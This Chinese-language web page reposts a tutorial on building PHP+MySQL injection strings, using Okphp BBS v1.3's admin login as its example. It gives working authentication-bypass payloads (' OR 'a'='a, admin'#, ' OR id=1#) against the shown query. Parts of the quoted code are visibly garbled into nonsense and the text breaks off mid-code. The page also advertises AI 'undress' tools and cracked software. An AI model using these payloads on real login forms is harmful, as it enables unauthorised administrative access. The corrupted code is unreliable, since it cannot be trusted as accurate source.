一.前言:
版本資訊:Okphp BBS v1.3 開源版
下載位址:http://www.cncode.com/SoftView.asp?SoftID=1800
『 +MYSQL的注射比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是藉對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。 聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。 二.「漏洞」分析: 1.admin/login.php注射導致繞過身份驗證漏洞: 代碼: $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'";🀎 $conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password='$group_id from $user_table where username='$username' and password='$group'name='$Sname'sname='$Hname's'name='$'$Hname='$HnameHyname='$HnameS"$Hname='$Hname)*$'$'$H7; password 沒過濾, 很容易就繞過。 對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有: 建構1(利用邏輯運算):$username=' OR 'a'=' OR 'a' a $password=' OR 'a'='a 相當於sql語句: select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'=' a' 構造2(利用mysql裡的註解語句# ,/* 把$password註解掉):$username=admin'#(或admin'/*) 即:🀜 㟎
即:🀜 㟀 • name $names_nameSname $ ='admin'#' and password='$password'"
相當於:
select * from $user_table where username='admin'
在admin/login.php.前進行了md5加密所以不可以用構造1中的語句繞過。相當於:
select id,group_id from $user_table where username='admin'
只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應的id,
$username=' OR id=1#
相當於:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的註解掉)
我們接著往下看程式碼:if ($row[0]) { // If not admin or super moderator if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; } else { $login = 1; } } // Fail to login--------------- if (!$login) { write_log("Moderator login","0","password wrong");echo " 轉載請註明來源:攻擊方法:談php+mysql注射語句構造
陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章
<🎜>:種植花園 - 完整的突變指南
3 週前ByDDD
<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前By尊渡假赌尊渡假赌尊渡假赌
如何修復KB5055612無法在Windows 10中安裝?
3 週前ByDDD
北端:融合系統,解釋
3 週前By尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

ZendStudio 13.5.1 Mac
強大的PHP整合開發環境

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。

MantisBT
Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。